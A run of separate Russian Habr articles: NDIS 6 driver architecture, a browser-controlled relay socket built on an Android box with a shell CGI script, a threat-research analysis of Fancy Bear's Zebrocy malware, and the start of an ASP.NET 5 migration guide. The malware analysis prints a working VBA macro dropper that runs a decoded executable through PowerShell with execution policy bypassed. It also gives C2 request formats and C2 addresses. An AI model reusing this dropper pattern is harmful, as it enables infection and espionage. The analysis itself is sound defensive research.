* NDIS 5.1. Windows XP, Server 2003. Большинство драйверов написано под эту версию и портировать их никто не берется, т.к. портировать там особо и нечего — почти всё придётся переписывать заново;
* NDIS 5.2. Windows Server 2003 SP2. Под эту версию, скорее всего не написано ни одного драйвера, т.к. тут прекрасно работают драйвера от 5.1;
* NDIS 6.0. Windows Vista. подсистема NDIS в Windows Vista претерпела громаднейшие изменения, добавлены новые виды драйверов, улучшена производительность;
* NDIS 6.1. Windows Vista SP2, Server 2008. Та же история, что и с NDIS 5.2;
* NDIS 6.20. Windows 7. Небольшие изменения относительно NDIS 6.0, поддержка последней в режиме эмуляции.
Старый хлам в виде W2K с его NDIS 4.0 я трогать не буду, т.к. смысла это поддерживать нет. Так же майкрософт прекращает поддержку NDIS 5.1 в Windows 8.
Как видно из списка огромная пропасть располагается между NDIS 5.x и NDIS 6.x. Фактически, из обшего у них остались только архитектурная особенность и библиотека функций. Вся остальная начинка была перебрана для повышения производительности. Кстати, этого повышения наисследовали 20%, так что хоть в чем-то Vista лучше предшественника. К архитектуре добавились драйверы-фильтры, которых так не хватало в предыдущих версиях. Принципы передачи пакетов кардинально изменились, а именно: если раньше промежуточный драйвер должен был реализовывать как минимум по три функции приёма и отправки пакетов, то сейчас количество этих функций в любом случае равняется одной. Это стало возможно благодаря новой архитектуре передачи пакетов, называемой NET\_BUFFER. О ней поговорим ниже.
#### NET\_BUFFER architecture
Итак, что же это такое? По сути, NET\_BUFFER — это замена предшествующему NDIS\_BUFFER'y, но обо всём по порядку. Что было? Драйвер реализует по три функции отправки и приема пакетов. Говоря русским языком назовём эти функции так:
* ПринятьПакет;
* ПринятьПакеты;
* ПодтвердитьПриемПакетов;
* ОтправитьПакет;
* ОтправитьПакеты;
* ПодвердитьОтправкуПакета.
Понятное дело, что для приёма одного пакета небходимо было выполнить кучу действий. А для промежуточных драйверов так вообще, разобрать пакет до косточек, собрать свой (ибо нельзя трогать то, что и так не твоё) и отправить. Поэтому в NDIS 6.x ввели архитектуру NET\_BUFFER.
Согласно это архитектуре достаточно реализовать по 2 функции на прием и отправку пакета (теперь он не пакет, а буфер, поэтому ниже воспринимайте эти слова как синонимы, когда речь идёт о NDIS 6+). Да, я приврал по поводу 2х, но эти две не делают ничего особенного и кочуют из драйвера в драйвер без изменений. Итак, функции приема и отправки, напишу тут их сигнатуры для общего понимания:
```
VOID
FilterSendNetBufferLists(
IN NDIS_HANDLE FilterModuleContext,
IN PNET_BUFFER_LIST NetBufferLists,
IN NDIS_PORT_NUMBER PortNumber,
IN ULONG SendFlags
);
VOID
FilterReceiveNetBufferLists(
IN NDIS_HANDLE FilterModuleContext,
IN PNET_BUFFER_LIST NetBufferLists,
IN NDIS_PORT_NUMBER PortNumber,
IN ULONG NumberOfNetBufferLists,
IN ULONG ReceiveFlags
);
```
Первые параметры — по сути указатель, который будет передавать вам NDIS. При регистрации драйвера, а точнее при его присоединении к очереди вы можете указать этот самый указатель. Т.о. у нас в распоряжении всегда находится ссылка на пользовательскую переменную, у которой, как известно, безграничная сфера применения. Очень удобно.
Вторые параметры — указатели на списки NET\_BUFFER'ов. С этим разберемся позже.
Все остальные параметры используются редко, поэтому их рассматривать мы не будем.
Переходим к самой архитектуре.
Картинка ниже примерно обрисовывает архитектуру:
Каждый NET\_BUFFER может описывать пакет так, как на картинке ниже:
В заштрихованном пространстве и хранится наш пакет. Как видите, это не обязательно непрерывный блок памяти, один пакет может быть разбросан по всему системному адресному пространству. Так же советуется хранить пакеты в невыгружаемой памяти (для справки: при попытке доступа к выгружаемой памяти на IRQL >= DISPATCH\_LEVEL мы получим синий экран с кодом D1. DRIVER\_IRQL\_NOT\_LESS\_OR\_EQUAL, самая частая ошибка драйверо-писателей).
Сразу вопрос, зачем оставлять пустое пространство перед пакетом? Затем, что когда IP-пакет спускается вниз, то он оборачивается в Ethernet-фрейм для отправки. И чтобы это дело не пересобирать, Ethernet-заголовок просто записывается передпакетом. Достаточно продуманно. Тот же принцип реализован и в драйверах верхнего уровня. Вся информация о т.н. backfill (оно же DataOffset) пространстве, смещениях и длине буфера хранится в структуре NET\_BUFFER. Так же хочу отметить, что размер буфера можно менять, т.е. начало буфера можно отодвинуть влево, или конец вправо. Для этого используются специальные функции, экспортируемые ядром NDIS.
#### Вместо заключения
В этой статье намерено упущено огромное количество деталей, с которыми я столкнулся в процессе изучения подсистемы NDIS. Их я не публикую, т.к. количество материала, при этом, не уместилось бы ни в какие разумные рамки. Одновременно я стараюсь пролить свет на некоторые key features, которые считаю базовыми для понимания сути происходящего.
Дополнительную литературу читаем тут:
[www.codemachine.com/article\_ndis6nbls.html](http://www.codemachine.com/article_ndis6nbls.html)
[msdn.microsoft.com/en-us/library/ff564881](http://msdn.microsoft.com/en-us/library/ff564881)(v=vs.85).aspx
До следующего раза. | https://habr.com/ru/post/113255/ | null | ru | null |
# Управляем чайником из браузера или как я интернет-розетку делал
[](https://picasaweb.google.com/lh/photo/UM2kfXW0gW44eA5IWzvavqSVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
В этой статье я хочу рассказать о моем опыте создании управляемой розетки. Не GSM(это всем надоело, да и слишком просто — читай sms да дергай пинами), а управляемой через браузер, с помощью кнопочек на HTML-страничке.
Итак, какой же путь должен проделать сигнал, чтоб включить чайник?
Нажатие кнопки на странице -> переход по ссылке и отработка web-сервера -> выполнение CGI скрипта -> передача команды по UART контроллеру -> появление напряжение на пине -> срабатывание реле, которое включает чайник.
Рассмотрим все по порядку.
Хотя нет, начнем с обратного конца — контроллера.
#### Физический уровень — дергаем пины.
Под эту роль удачно подвернулась [техасовская плата с MSP430](http://habrahabr.ru/post/148169/).
Под нее была написана прошивка в их среде Energia, которая является переработанным под другой контроллер редактором скетчей Arduino. Да, радуйтесь — код совместим с ардуйней, и будет работать точно так же. Выглядит вот так:
[](https://picasaweb.google.com/lh/photo/9usgWdsesMcPCxLs5IPMF6SVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
Весь код можно посмотреть вот [тут](http://pastebin.com/jJAL4s6b). Осторожно, там немного быдлокода.
А про кусочек я сейчас расскажу:
```
byte inByte = 0; //Байт для данных из UART
int status[12]; // Для статуса пинов
void setup() {
Serial.begin(9600);// Конфигурируем UART
pinMode(RED_LED, OUTPUT);// Конфигурируем пины на выход
pinMode(6, OUTPUT);}
if (Serial.available() > 0) { //Как только на входе появится байт и пока они не закончатся,
inByte = Serial.read(); // запихиваем их в эту переменную,
switch (inByte){ // и делаем что нибудь, в зависимости от них:
case 's': // если пришел "s", то
Serial.print("RED_LED:"); // показываем статистику,
Serial.println(status[10]); // какой из портов включен, а какой выключен
break;
case 'r': //а если название порта,
if (status[10] == 0) { // то проверяем статус, и в зависимости от него,
digitalWrite(RED_LED, HIGH); // либо зажигаем
status[10] = 1; } // (не забыв поменять статус)
else {
digitalWrite(RED_LED, LOW); // либо гасим
status[10] = 0; } // (тоже не забыл поменять статус)
break;
}
}
}
```
Сообственно, он весь состоит из этого (честно говоря, я в первый раз вижу код для arduino и сам редактор кода тоже), и мне лень было разбираться с чем-то сложнее case.
Управляется он 14 байтами, выраженными для удобства в символах: 123456789nfrgs
132456789 — включают, а при повторной посылке выключают пин.
n — включает все пины (от O**N**)
f — выключает все пины (от O**F**F)
s — показывает, что включено, а что нет (от **S**TAT)
g — включает или выключает зеленый светодиод (**G**REEN)
r — красный светодиод… Ну вы поняли.
В одной посылке можно комбинировать несколько символов, скажем rgs1 — включит оба светодиода, покажет информацию, а потом подаст напряжение на первый пин.
#### Красноглазим
В загашниках нашел шнурок от чего-то, с контроллером CP2101, который был незамедлительно подключен к плате. ~~Легким движением в гугле был найден драйвер...~~
Нет, я вру. Придется рассказать про компьютер.
У меня есть несколько [вот таких](http://7del.net/reviews/minix.html) одноплатных компьютеров, с ARM-процессором A10, и Android на борту.
[](https://picasaweb.google.com/lh/photo/KTUtrwECDwxMqxNKMZ5LW9MTjNZETYmyPJy0liipFm0?feat=embedwebsite)
Можно было запустить и Linux, но я не стал этого делать — я на нем еще фильмы смотрю, а в Androide это делать удобнее. Пришлось битые 4 часа ковыряться то в выдаче гугла, то в потрохах системы, пробуя собрать хоть какой-нибудь модуль для USB-UART конвертера. Когда я уже почти сдался, наткнулся на [блог моего спасителя](http://sae762.wordpress.com/2012/05/18/android-kernel-%D0%B8%D0%BB%D0%B8-%D1%81%D0%BD%D0%BE%D0%B2%D0%B0-%D1%85%D0%B2%D0%B0%D0%BB%D0%B0-%D0%BE%D0%BF%D0%B5%D0%BD%D1%81%D0%BE%D1%80%D1%86%D1%83/), в котором он выложил два модуля для Android на A10 (он смог собрать, в отличии от меня), кои были немедленно загружены(insmod cp210x.ko). После чего я перевернул вверх дном все мои коробки с барахлом, но нашел шнурок именно с конвертером CP2101.
Втыкаем его в USB, с замиранием сердца делаем ls /dev, и вожделенный /dev/ttyUSB0 появляется в системе!
Далее последовал ~~секс~~ интересный час, который я провел, выясняя как правильно инициализировать устройство, чтоб на него слать байты. Не буду мучать читателей, и расскажу сразу:
stty -F /dev/ttyUSB0 9600 — инициализируеут порт. лучше выполнять при каждом обрацении, мало ли. вдруг между посылками вы шнурок вытащите.
/system/bin/echo «r» >/dev/ttyUSB0 — отправляет байт в порт.
А контроллер его принимает, и включает порт, на котором висит красный светодиод.
#### Веб и CGI
[Добрые люди](http://habrahabr.ru/qa/22370/) подсказали мне, как с уровня консоли перенестись на уровень браузера. Делюсь этим сакральным знанием и с вами:
1) Нужен Busybox и SSH сервер. Впрочем, если вы хотите набирать скрипты на самом устройстве, можно оботись и эмулятором терминала.
2) Создаем каталог, в который складываем файлы:
http.cfg — конфигурация веб-сервера, которая, состоит из одной строчки: \*.html:/system/bin/sh, которая означает, что все html-файлы надо выполнять интерпритатором sh, а не просто отдавать пользователю.
Скрипт, назвовем его, например starthttpd, в котором тоже будет немного строк:
insmod /sdcard/www/cp210x.ko >/dev/null 2>&1 — строчка, которая загружает в ядро драйвер конвертера(чтоб не делать это каждый раз вручную), и не ругается, если он там есть.
httpd -p12 -h /sdcard/www -c /sdcard/www/http.cfg — запускает сервер на порту 12(кто то занял 80), с корневой папкой /sdcard/www, и конфигом, который мы сделали ранее.
и, наконец, сердце — index.html:
```
#!/bin/sh
stty -F /dev/ttyUSB0 9600 #конфигурируем порт
/system/bin/echo $QUERY_STRING >/dev/ttyUSB0 #плюемся в порт символами, которые нам передали GET-ом.
echo "Content-type: text/html"
echo ""
echo ""
echo "" #делаем кнопки, которые передают тот самый параметр(href='?r')
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo "
```
"
echo ""
Получаем вот такую менюшку с кнопочками:
[](https://picasaweb.google.com/lh/photo/AI1bgfBPDAmyeoWwch9YSKSVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
Осталось убрать со стола мусор, и соединить все вместе:
[](https://picasaweb.google.com/lh/photo/981SChi0EReaMiKhtARtqKSVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
Вот небольшое видео результата:
Конечно, сфера применения не ограничивается цветомузыкой. Добавляем реле на 5в, и получаем 9 управляемых удаленно(!) с компьютера выходов, которые могут рулить чем угодно — от лампочек в туалете и света в офисе до кондиционеров и силовых щитков.
А еще можно пробросить ssh на сервер, и делать все тоже самое, но из любого места, где есть интернет. | https://habr.com/ru/post/149289/ | null | ru | null |
# Анализ Zebrocy, вредоносного ПО первого этапа группы Fancy Bear
Sednit, также известные как APT28, Fancy Bear, Sofacy или STRONTIUM – группа злоумышленников, работающих с 2004 года, а может и раньше, основной целью которых является кража конфиденциальной информации у избранных объектов.
Примерно с конца 2015 года мы наблюдаем развертывание этой группой нового компонента – Zebrocy, загрузчика для Xagent (главного бэкдора Sednit). Лаборатория Касперского впервые упоминает данный компонент в 2017 году в отчете [APT trend report](https://securelist.com/apt-trends-report-q2-2017/79332/) и недавно выпустила [статью](https://securelist.com/masha-and-these-bears/84311/) с его описанием.
Новый компонент – семейство вредоносного ПО, состоящее из загрузчиков и бэкдоров, написанных на [Delphi](https://en.wikipedia.org/wiki/Delphi_(IDE)) и [AutoIt](https://en.wikipedia.org/wiki/AutoIt). Они играют в экосистеме Sednit ту же роль, что и Seduploader, – используются в качестве вредоносного ПО первого этапа атаки.
Мы наблюдали цели Zebrocy в Азербайджане, Боснии и Герцеговине, Грузии, Египте, Зимбабве, Иране, Казахстане, Киргизии, Корее, России, Саудовской Аравии, Сербии, Таджикистане, Туркменистане, Турции, Украине, Уругвае, и Швейцарии. В числе целей – дипломаты, сотрудники посольств и министерств иностранных дел.
Семейство Zebrocy состоит из трех компонентов. В порядке развертывания: загрузчик на Delphi, загрузчик на AutoIt и бэкдор на Delphi. На рисунке 1 показаны взаимосвязи между этими компонентами.
В данном посте мы опишем это семейство и его взаимодействие с более ранним инструментом кибершпионажа Seduploader, а также различия и сходства с [Downdelph](https://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-full.pdf).
*Рисунок 1. Экосистема Sednit*
На рисунке 1 мы видим методы атаки и активно используемые Sednit вредоносные программы. В экосистеме Sednit наиболее часто используемая «точка входа» – вложения в письма электронной почты. Согласно недавнему [посту](https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/) в блоге исследователей из Palo Alto Networks, DealersChoice все еще используется. После этапа разведки на заинтересовавших злоумышленников целевых машинах происходит развертывание Xagent и Xtunnel.
### Методы атаки
Первый компонент атаки доставляется с помощью Zebrocy через email. Жертвы открывают вложения – документы Microsoft Office, либо архивы.
### Вредоносные документы
Используемые Sednit вредоносные документы скачивают компоненты первого этапа атаки через Visual Basic для приложений (VBA), эксплойты или даже через динамический обмен данными ([DDE](https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx)).
В конце 2017 года группа Sednit запустила две кампании, начав распространение двух разных вредоносных документов. Первый назывался `Syria – New Russia provocations.doc`, второй – `Note Letter Mary Christmas Card.doc`.
*Рисунок 2: Вредоносный документ Zebrocy*
Оба вредоносных документа содержат макрос VBA, создающий файл со случайным именем в %TEMP%. Исполняемый файл малвари расшифровывается и записывается в этот файл, который далее выполняется с помощью команды PowerShell или [Scriptable Shell Objects](https://msdn.microsoft.com/en-us/library/windows/desktop/bb776890(v=vs.85).aspx).
```
[...]
Sub AutoClose()
On Error Resume Next
vAdd = ""
For I = 1 To 8
vAdd = vAdd + Chr(97 + Rnd(20) * 25)
Next
vFileName = Environ("temp") & "\" + vAdd & ".e" + "x" & "e"
SaveNew vFileName, UserForm1.Label1.Caption
Application.Run "XYZ", vFileName, "WScript.Shell"
End Sub
Public Function XYZ(vF, vW)
vStr = "powershell.exe -nop -Exec Bypass -Command Start-Process '" + vF + "';"
Call CreateObject(vW).Run(vStr, 0)
End Function
[...]
TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2lu
[...]
```
*Пример функции Visual Basic и зашифрованной по base64 первой фазы заражения из документа Syria – New Russia provocations.doc*
### Архивы
В некоторых кампаниях для доставки компонентов первого этапа атаки вместо макросов в документах Office использовались архивы. Предположительно, архив распространяется во вложении по электронной почте.
Все содержимое первого этапа в семействе Zebrocy – исполняемые файлы с иконкой и именем, маскирующими их под документ (на рисунке 3) для обмана жертвы.
*Рисунок 3. Первая фаза заражения Zebrocy с помощью файла с иконкой документа Word*
### Загрузчик на Delphi
Загрузчик на Delphi – первый этап атаки семейства Zebrocy, хотя мы наблюдали, что в некоторых кампаниях группы Sednit этап с AutoIt начинался напрямую, без загрузчика. Большинство бинарных файлов Delphi-загрузчиков используют иконки документов Office, либо некоторые другие, например, библиотеки Windows, и иногда эти образцы запакованы с помощью [UPX](https://upx.github.io/). Цель этого этапа довольно проста – получить максимум информации с компьютера жертвы.
При запуске малвари всплывает окно с фейковым сообщением об ошибке и именем загруженного бинарного файла. Например, если имя файла `srsiymyw.exe`, во всплывающем окне появится имя `srsiymyw.doc` (см. рисунок 4). Цель этого окна – отвлечь пользователя, чтобы он не подумал, что на компьютере происходит что-то необычное.
*Рисунок 4. Всплывающее окно загрузчика на Delphi*
На самом деле, загрузчик занят созданием файла в %TEMP% с прописанным в бинарнике именем (хотя на этом этапе файл пуст). Персистентность обеспечивается путем добавления в реестр Windows записи в `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\` с указанием пути к файлу с жестко закодированным именем.
Для сбора информации малварь создает новый процесс с помощью функции Windows API CreateProcess и `с cmd.exe /c SYSTEMINFO & TASKLIST` в качестве аргумента lpCommandLine. После получения информации результат отправляется через запрос HTTP POST на командный сервер, жестко закодированный в бинарном файле. Действие повторяется до тех пор, пока в ответ не будет получено ПО для следующего этапа заражения.
```
POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat)?fort= HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: xxxx
Host:
Accept: text/html, \*/\*
Accept-Encoding: identity
User-Agent: Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1
pol=MM/DD/YYYY%20HH:MM:SS%20(AM|PM)%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A
[...]
```
*Запрос HTTP POST загрузчика на Delphi*
После отправки запроса командный сервер передает ПО следующего этапа в том случае, если цель оценивается злоумышленниками как интересная. Цикл с момента отправки отчета до получения файлов составляет несколько часов. Следующий этап записывается в созданный ранее файл и выполняется.
### Загрузчик на AutoIt
Загрузчик на AutoIt – еще одна фаза разведывательного этапа в процессе заражения компьютера жертвы. Далее с этого момента возможны два сценария: в первом загрузчик на Delphi – первая стадия, а упрощенный загрузчик на AutoIt – вторая. По другому сценарию загрузчик на AutoIt является первой стадией, имеет все функции Delphi-загрузчика и даже больше.
Когда загрузчик на AutoIt используется как первый этап, он выполняет множество разведывательных функций. Даже если у него и есть некоторые сходства с загрузчиком на Delphi, такие как механизм персистентности и всплывающее окно, он добавляет большую модульность в разведывательную фазу по сравнению с загрузчиком на Delphi. Вот неполный список его возможностей:
* определение режима песочницы и виртуальной среды
* получение списка установленного ПО (через HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall)
* определение версии Windows (32-bit или 64-bit)
* получение списка процессов
* получение информации о жестком диске
* скриншот
* получение различной информации о компьютере жертвы с помощью объектов WMI, что, возможно, было вдохновлено кодом из этого [репозитория GitHub](https://github.com/cornernote/autoit-poker_bot/blob/master/includes/vendor/CompInfo/CompInfo.au3)
В зависимости от предыдущей стадии отличается имя бинарника AutoIt. Если малварь внедряется на первом этапе, оно будет похоже на имя документа. В ином случае бинарнику присваивается имя, прописанное в загрузчике на Delphi, как это показано в таблице 1.
Цель этого этапа примерно такая же, как у предыдущего. Встречаются различные версии, но во всех них имеется код, выполняющий как минимум следующее:
* получение серийного номера жесткого диска C:
* применение сетевых функций `winhttp.dll` или `winhttp.au3`
* исполнение кода, переданного командным сервером
Как и у Delphi-загрузчика, у загрузчика на AutoIt есть всплывающее окно – если он получен во вложении, то есть когда является первым этапом заражения. Всплывающее окно зависит от иконки бинарного файла. Например, загрузчик AutoIt с иконкой документа Adobe Reader сообщает жертве, что открываемый для просмотра файл PDF поврежден. Бинарный файл AutoIt с иконкой документа Word показывает окно для ввода пароля. Пароль не принимается во внимание, мы считаем, что это лишь способ отвлечь жертву от реальной вредоносной активности кода.
*Рисунок 5. Всплывающее окно загрузчика на AutoIt*
### Бэкдор на Delphi
Бэкдор на Delphi – финальный этап цепочки компонентов Zebrocy. В прошлом мы наблюдали, как Zebrocy скачивает флагманский бэкдор группы Sednit (Xagent). В отличие от предыдущих компонентов, у этого есть внутренний номер версии, который, похоже, не связан с конкретной кампанией. Этот номер меняется со временем, как показано в таблице 2:
Обратите внимание, что мы могли пропустить какие-то версии бэкдора. Кроме того, версии перекрывают друг друга – более старые используются одновременно с новыми.
Далее мы опишем некоторые различия, которые увидели в процессе эволюции данного вредоносного ПО. В бэкдор встроен блок конфигурации. Значения конфигурации меняются от образца к образцу, но список конфигурируемых элементов остается неизменным. Однако способ хранения данных конфигурации малвари со временем эволюционировал.
Первые версии бэкдора содержали данные конфигурации в виде простого текста, как показано на рисунке 6.
*Рисунок 6. Данные конфигурации бэкдора на Delphi в виде простого текста*
Затем в более поздних версиях авторы закодировали конфигурацию в виде шестнадцатеричных строк, как на рисунке 7.
*Рисунок 7. Зашифрованная информация о конфигурации бэкдора на Delphi*
В последних версиях информация о конфигурации зашифрована в ресурсах по алгоритму AES. Старшие версии хранятся в разделе *.text*.
Данные конфигурации содержат:
* ключи AES для коммуникации с командным сервером
* адреса URL, различные от образца к образцу
* версия вредоносного ПО
* ключ/значение системного реестра Windows, обеспечивающие персистентность бэкдора
* путь, по которому хранятся временные файлы (*%APPDATA%*)
* имена скрытых директорий, создаваемых для хранения временных файлов: происходит конкатенация имени файлов директории и переменной среды (*%APPDATA%*)
После настройки малварь выполняет функцию обратного вызова с помощью функции [SetTimer](https://msdn.microsoft.com/en-us/library/windows/desktop/ms644906(v=vs.85).aspx) Windows API. Обратные вызовы позволяют оператору малвари воспользоваться множеством инструментов и командами бэкдора.
* снятие скриншота рабочего стола жертвы
* перехват нажатий клавиш
* получение списка дисков/сетевых ресурсов
* запись/чтение в реестр Windows
* копирование/перемещение/удаление объекта файловой системы
* исполнение файлов, либо постановка задач в запланированные
Количество команд, которые может выполнять бэкдор, а их около 30, отличается от версии к версии.
Для связи с командным сервером бэкдор сохраняет отчет по этим функциям во временный файл. Затем он производит чтение содержимого временного файла и пересылает их. Временные файлы хранятся в одной из скрытых директорий, созданных в процессе установки.
```
POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat). HTTP/1.0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------
Content-Length:
Host:
Accept: text/html, \*/\*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
----------
Content-Disposition: form-data; name="userfile"; filename="%APPDATA%\Microsoft\\.tmp"
Content-Type: .tmp
------------
```
*Запрос POST бэкдора на Delphi*
Содержимое `tempfilename` – вывод любой исполняемой команды. Содержимое шифруется с помощью алгоритма AES-256-ECB, используя первый ключ AES из данных конфигурации, затем результат записывается в шестнадцатеричной системе. Содержимое, передаваемое на командный сервер, отличается в зависимости от команды, но всегда содержит серийный номер жесткого диска и первые четыре байта имени компьютера.
Например, `HELLO` соответствует первому пакету, отправляемому бэкдором для установки контакта с командным сервером. Как видно ниже, он содержит дату запуска задачи, внутренний номер версии бэкдора на Delphi, серийный номер HDD, имя компьютера (первые четыре байта), команду и дату, когда этот бэкдор был использован.
`Start: 1/4/2018 1:37:00 PM – []:42424242ESET-HELLO-[2018-04-04 01-37-00]-315.TXT.`
Второй ключ AES в данных конфигурации применяется для расшифровки ответов командного сервера.
Как и Seduploader, этот бэкдор используется для развертывания Xagent на машинах тех жертв, которые заинтересовали операторов после фазы разведки.
### Заключение
Написание компонента на Delphi не является чем-то новым для группы Sednit, они уже использовали этот язык для [Downdelph](https://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-full.pdf). Однако, даже если последний компонент не имеет с Downdelph ничего общего, есть интересные моменты, заслуживающие упоминания:
* методы развертывания одинаковы, оба компонента внедряются в виде вложения по электронной почте
* в последний раз мы видели Downdelph в сентябре 2015, а первый образец Zebrocy из естественной среды обитания датирован ноябрем 2015 года
* оба написаны на Delphi
Можно предположить, что группа Sednit свернула один компонент и начала разработку нового. Единственное, что *не меняется* у группы – характерные ошибки:
* имя запланированного задания: `Windiws`
* имя функции, получающей системную информацию в загрузчике на AutoIt: `_SOFWARE()`
* `Mary` вместо `Merry` в `Note Letter Mary Christmas Card.doc`
Массив байтов, используемый бэкдором на Delphi в качестве ключей AES-256, содержит 38 байтов вместо 32. Похоже на ошибку, сделанную по невнимательности.
В последние два года мы наблюдали активное использование Zebrocy группой Sednit. Наш анализ новых версий, появляющихся регулярно с 2017 года, явно указывает на то, что авторы активно поддерживают и совершенствуют Zebrocy. Можем считать, что это – один из постоянных и полнофункциональных инструментов в арсенале Sednit и потому заслуживает пристального внимания.
### Индикаторы компрометации (IoCs)
**Вредоносные документы**
**Загрузчик на Delphi**
**Загрузчик на AutoIt**
**Бэкдор на Delphi**
**Адреса URL**
`http://142[.]0.68.2/test-update-16-8852418/temp727612430/checkUpdate89732468.php
http://142[.]0.68.2/test-update-17-8752417/temp827612480/checkUpdate79832467.php
http://185[.]25.50.93/syshelp/kd8812u/protocol.php
http://185[.]25.50.93/tech99-04/litelib1/setwsdv4.php
http://185[.]25.50.93/techicalBS391-two/supptech18i/suppid.php
http://185[.]25.51.114/get-help-software/get-app-c/error-code-lookup.php
http://185[.]25.51.164/srv_upd_dest_two/destBB/en.php
http://185[.]25.51.198/get-data/searchId/get.php
http://185[.]25.51.198/stream-upd-service-two/definition/event.php
http://185[.]77.129.152/wWpYdSMRulkdp/arpz/MsKZrpUfe.php
http://188[.]241.68.121/update/dB-Release/NewBaseCheck.php
http://194[.]187.249.126/database-update-centre/check-system-version/id=18862.php
http://194[.]187.249.126/security-services-DMHA-group/info-update-version/id77820082.php
http://213[.]103.67.193/ghflYvz/vmwWIdx/realui.php
http://213[.]252.244.219/client-update-info/version-id/version333.php
http://213[.]252.244.219/cumulative-security-update/Summary/details.php
http://213[.]252.245.132/search-release/Search-Version/crmclients.php
http://213[.]252.245.132/setting-the-os-release/Support-OS-release/ApiMap.php
http://220[.]158.216.127/search-sys-update-release/base-sync/db7749sc.php
http://222[.]15.23.121/gft_piyes/ndhfkuryhs09/fdfd_iunb_hhert_ps.php
http://46[.]102.152.127/messageID/get-data/SecurityID.php
http://46[.]183.223.227/services-check-update/security-certificate-11-554/CheckNow864.php
http://80[.]255.6.5/daily-update-certifaicates52735462534234/update-15.dat
http://80[.]255.6.5/LoG-statistic8397420934809/date-update9048353094c/StaticIpUpdateLog23741033.php
http://86[.]105.18.106/apps.update/DetailsID/clientPID-118253.php
http://86[.]105.18.106/data-extract/timermodule/update-client.php
http://86[.]105.18.106/debug-info/pluginId/CLISD1934.php
http://86[.]105.18.106/ram-data/managerId/REM1234.php
http://86[.]105.18.106/versionID/Plugin0899/debug-release01119/debug-19.app
http://86[.]105.18.111/UpdateCertificate33-33725cnm^BB/CheckerNow-saMbA-99-36^11/CheckerSerface^8830-11.php
http://86[.]106.131.177/srvSettings/conf4421i/support.php
http://86[.]106.131.177/SupportA91i/syshelpA774i/viewsupp.php
http://89[.]249.65.166/clientid-and-uniqued-r2/the-differenceU/Events76.php
http://89[.]249.65.166/int-release/check-user/userid.php
http://89[.]249.65.234/guard-service/Servers-ip4/upd-release/mdb4
http://89[.]40.181.126/verification-online/service.911-19/check-verification-88291.php
http://89[.]45.67.153/grenadLibS44-two/fIndToClose12t3/sol41.php
http://89[.]45.67.153/supportfsys/t863321i/func112SerErr.php
http://93[.]113.131.117/KB7735-9927/security-serv/opt.php
http://93[.]113.131.155/Verifica-El-Lanzamiento/Ayuda-Del-Sistema/obtenerId.php
http://93[.]115.38.132/wWpYdSMRulkdp/arpz/MsKZrpUfe.php
http://rammatica[.]com/QqrAzMjp/CmKjzk/EspTkzmH.php
http://rammatica[.]com/QqrAzMjp/CmKjzk/OspRkzmG.php` | https://habr.com/ru/post/359022/ | null | ru | null |
# ASP.NET 5 beta5 в Visual Studio 2015
Несколько дней назад вышла новая бета-версия ASP.NET 5 — beta5. Оказалось, что в новой версии довольно много нововведений и мигрировать с предыдущей бета-версии не так уже просто. Рассмотрим главные новшества и как модернизировать стандартный шаблон ASP.NET 5 проекта с Visual Studio чтобы полностью перейти на новую версию.
+ сорсы
+ тест на базе статьи
+ видео последнего ASP.NET Community Standup
[Главная новость](http://blogs.msdn.com/b/webdev/archive/2015/06/30/asp-net-5-beta5-now-available.aspx) о новом релизе опубликована в [веб-дев блоге на msdn](http://blogs.msdn.com/b/webdev/). Самые интересные, на мой взгляд, новшества:
* Поддержка фидов nuget третьей версии – теперь загрузка и проверка пакетов осуществляется значительно быстрее.
* Поддержка C# 6 синтаксиса в Razor разметке.
* Доработки в JSON.NET – теперь версия этой библиотеки в рантайме и пакетах может не совпадать, а также можно просто сериализировать .NET объекты в представлениях, например, Json.Serialize(Model)
* Кроме того, новые возможности в атрибутах роутинга, доработки тег-хелперов и т.д.
Ну и в общем, для меня это первая версия, после ковыряния которой все показалось достаточно стабильным чтобы работать с ней дальше. Единственное, что пока не совсем удобно\понятно – это работа с Identity framework и несколько вещей связанных с Entity framework.
Перейдем к делу. Что нужно сделать, для того, чтобы все запустилось на новой бете.
##### Сборка проекта
В новом ASP.NET вся сборка пакетная – и рантайм (один из рантаймов) и все зависимости это nuget пакеты. Потому фактически для того, чтобы перейти на новую версию надо скачать новый рантайм и изменить все старые версии пакетов на новые.
Проблема в использовании новой беты в том, что в текущей версии Visual Studio 2015 по умолчанию проект на ASP.NET 5 создается с пакетами предыдущей беты. И для того, чтобы перейти на новую версию просто обновить все пакеты недостаточно, более того, это просто поломает весь функционал, так как в beta5 есть изменения, не совместимые с beta4. Отслеживать такие изменения довольно просто, все они публикуются в специальном [проекте на гитхабе](https://github.com/aspnet/Announcements/issues). Но с реализацией их в реальном проекте могут возникнуть трудности. Поэтому, я решил создать минимальное приложение на beta5, сделав изменения в дефолтном проекте на beta4 и оставить его как шаблон для будущего.
##### Создаем проект в Visual Studio 2015
Если у вас до сих пор нету Visual Studio 2015, релиз кандидат можно скачать по адресу
